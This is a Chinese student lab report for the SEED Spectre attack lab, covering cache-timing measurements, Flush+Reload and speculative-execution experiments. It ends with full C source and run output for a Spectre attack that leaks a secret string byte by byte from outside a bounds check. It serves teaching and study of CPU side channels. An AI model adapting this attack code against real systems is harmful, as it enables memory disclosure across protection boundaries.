任务 1：从缓存读取数据与从内存读取数据的比较

编译并执行 CacheTime.c 代码文件，因为访问的内容不在同一缓存块，所以每次访问执行都是直接从主存获取数据，需要找到访问主存的最小值，经过多次运行，确定从主存访问的阈值，粘贴 3 次包含了最大最小的访存时间的执行

最大的:

```
[03/31/25]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 2124 CPU cycles
Access time for array[1*4096]: 397 CPU cycles
Access time for array[2*4096]: 554 CPU cycles
Access time for array[3*4096]: 377 CPU cycles
Access time for array[4*4096]: 560 CPU cycles
Access time for array[5*4096]: 494 CPU cycles
Access time for array[6*4096]: 595 CPU cycles
Access time for array[7*4096]: 373 CPU cycles
Access time for array[8*4096]: 541 CPU cycles
Access time for array[9*4096]: 525 CPU cycles
```

最小的（通过此确定阈值）

```
[03/31/25]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 79 CPU cycles
Access time for array[1*4096]: 246 CPU cycles
Access time for array[2*4096]: 402 CPU cycles
Access time for array[3*4096]: 238 CPU cycles
Access time for array[4*4096]: 351 CPU cycles
Access time for array[5*4096]: 369 CPU cycles
Access time for array[6*4096]: 317 CPU cycles
Access time for array[7*4096]: 173 CPU cycles
Access time for array[8*4096]: 349 CPU cycles
Access time for array[9*4096]: 327 CPU cycles
```

```
[03/31/25]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 145 CPU cycles
Access time for array[1*4096]: 224 CPU cycles
Access time for array[2*4096]: 227 CPU cycles
Access time for array[3*4096]: 68 CPU cycles
Access time for array[4*4096]: 224 CPU cycles
Access time for array[5*4096]: 258 CPU cycles
Access time for array[6*4096]: 228 CPU cycles
Access time for array[7*4096]: 58 CPU cycles
Access time for array[8*4096]: 226 CPU cycles
Access time for array[9*4096]: 252 CPU cycles
```

由上图可知，决定设置阈值为 60

任务 2：使用缓存作为侧信道

修改代码，改变阈值：

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (60)
#define DELTA 1024

```

一共执行 20 次：

```
[03/31/25]seed@VM:~/.../Labsetup$ gcc -o FlushReload FlushReload.c
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
```

```
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[03/31/25]seed@VM:~/.../Labsetup$
```

由图可知，20 次执行中一共成功了 8 次

任务 3：乱序执行与分支预测

```
[03/31/25]seed@VM:~/.../Labsetup$ gcc -o SpectreExperiment SpectreE
xperiment.c
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment
array[97*4096 + 1024] is in cache.
The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment
array[97*4096 + 1024] is in cache.
The Secret = 97.
[03/31/25]seed@VM:~/.../Labsetup$
```

源代码执行获得秘密值为 97

```
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified
[03/31/25]seed@VM:~/.../Labsetup$
```

按照要求注释掉标记为☆的行（mm_clflush(&size)）并重新执行一次结果，观察到执行无输出，没有获得秘密值

解释：这行代码用于清除 size 变量的缓存。如果注释掉，size 的值将保留在缓存中，CPU 可以快速访问其值，从而减少分支预测的错误率。因此，CPU 不会进行推测性执行，第②行不会被执行（temp = array[x * 4096 + DELTA];)。

```
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreExperiment_modified_97
[03/31/25]seed@VM:~/.../Labsetup$
```

按照要求将第④行替换为 victim(i + 20)，执行观察到无输出，没有获得秘密值

解释：这改变了传递给 victim() 函数的参数，使其始终大于 size 的值。通过这种方式，CPU 的分支预测将被训练为总是预测分支为假，从而减少推测性执行的可能性。因此，第②行不会被执行

任务 4：Spectre 攻击

```
index of secret (out of bound): -8208
array[0*4096 + 1024] is in cache.
The Secret = 0().
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x564159e6c008
buffer: 0x564159e6e018
index of secret (out of bound): -8208
array[0*4096 + 1024] is in cache.
The Secret = 0().
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x56554449f008
buffer: 0x5655444a1018
index of secret (out of bound): -8208
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttack
secret: 0x55d45d13a008
buffer: 0x55d45d13c018
index of secret (out of bound): -8208
array[83*4096 + 1024] is in cache.
The Secret = 83(S).
[03/31/25]seed@VM:~/.../Labsetup$
```

观察执行结果发现成功窃取秘密值，秘密值为 83

任务 5：提高攻击准确性

1

错误原因：

每次 scores 数组未正确清除缓存，导致可能误认为 scores 数组中的元素为秘密值

解决办法：

明确缓存清除：使用_mm_clflush 显式清除 scores 数组的缓存，确保测量准确性。

关键部分代码修改

```
for (int trial = 0; trial < 1000; trial++) {
        flushSideChannel(); // 每次试验前清除缓存
        memset(scores, 0, sizeof(scores)); // 重置计分数组

        spectreAttack(index_beyond); // 执行攻击

        reloadSideChannelImproved(); // 重新加载侧信道

        // 找出最高分
        int max = 0;
        for (int i = 0; i < 256; i++) {
            if (scores[max] < scores[i])
                max = i;
        }
        printf("Trial %d: Predicted value = %d('%c'), Score = %d\n",
                trial, max, max, scores[max]);
    }
```

结果：

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 380
```

2

删除行 printf("*****\n")结果：

```
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 1
[03/31/25]seed@VM:~/.../Labsetup$ ./SpectreAttackImproved_modified_
one
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
```

可以观察到执行结果为 0，命中次数均为 0，未命中，未找到秘密值

3

修改程序休眠时间分别为 1s 和 100s：

下图为 100s 时的图片：

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 911
[03/31/25]seed@VM:~/.../Labsetup$
```

对比 1s 和 100s 以及源码中 10s 的对比，发现随着时间的增加，对秘密值的命中数更多了，较长的休眠时间可以提高缓存侧信道的观察效果，提高攻击的稳定性。

任务 6：窃取整个秘密字符串

结果

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8192
The secret value is 0()
The number of hits is 6
Recovered secret: Som
```

要逐字节窃取，定义数组保存最终结果字符串

```
char result[secret_len + 1];
  result[secret_len] = '\0'; // 表示结尾字符串
```

对每一个字节遍历执行单个字节窃取的操作，但是每次窃取之后要重新更新 scores 数据进行新一轮的计数

```
for (j = 0; j < secret_len; j++) { //根据长度逐个字节窃取
      size_t index_beyond = (size_t)(secret + j - (char*)buffer);
      for (i = 0; i < 1000; i++) {
        printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
        spectreAttack(index_beyond);
        usleep(100);
        reloadSideChannelImproved();
      }

      int max = 0;
      for (i = 0; i < 256; i++){
```

```
        if(scores[max] < scores[i]) max = i;
      }
      result[j] = max;
      printf("Reading secret value at index %ld\n", index_beyond);
      printf("The secret value is %d(%c)\n", max, max);
      printf("The number of hits is %d\n", scores[max]);

      // Reset scores for the next byte
      for(i=0;i<256; i++) scores[i]=0;//每次结束更新 score 数据
   }
```

完整代码:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>

unsigned int bound_lower = 0;
unsigned int bound_upper = 9;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp       = 0;
char       *secret = "Some Secret Value";
uint8_t array[256*4096];

#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
   if (x <= bound_upper && x >= bound_lower) {
        return buffer[x];
   } else {
        return 0;
   }
}

void flushSideChannel()
{
   int i;
   // Write to array to bring it to RAM to prevent Copy-on-write
```

```
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

static int scores[256];
void reloadSideChannelImproved()
{
int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; /* if cache hit, add 1 for this value */
  }
}

void spectreAttack(size_t index_beyond)
{
  int i;
  uint8_t s;
  volatile int z;

  for (i = 0; i < 256; i++)   { _mm_clflush(&array[i*4096 + DELTA]); }

  // Train the CPU to take the true branch inside victim().
  for (i = 0; i < 10; i++) {
    restrictedAccess(i);
  }

  // Flush bound_upper, bound_lower, and array[] from the cache.
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++)   { _mm_clflush(&array[i*4096 + DELTA]); }
  for (z = 0; z < 100; z++)   {   }
  //
  // Ask victim() to return the secret in out-of-order execution.
  s = restrictedAccess(index_beyond);
  array[s*4096 + DELTA] += 88;
```

```
}

int main() {
  int i, j;
  uint8_t s;
  size_t secret_len = strlen(secret);
  char result[secret_len + 1];
  result[secret_len] = '\0'; // Null-terminate the result string

  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;

  for (j = 0; j < secret_len; j++) {
    size_t index_beyond = (size_t)(secret + j - (char*)buffer);
    for (i = 0; i < 1000; i++) {
      printf("*****\n");   // This seemly "useless" line is necessary for the attack to
succeed
      spectreAttack(index_beyond);
      usleep(100);
      reloadSideChannelImproved();
    }

    int max = 0;
    for (i = 0; i < 256; i++){
      if(scores[max] < scores[i]) max = i;
    }
    result[j] = max;
    printf("Reading secret value at index %ld\n", index_beyond);
    printf("The secret value is %d(%c)\n", max, max);
    printf("The number of hits is %d\n", scores[max]);

    // Reset scores for the next byte
    for(i=0;i<256; i++) scores[i]=0;
  }

  printf("Recovered secret: %s\n", result);
  return (0);
}
```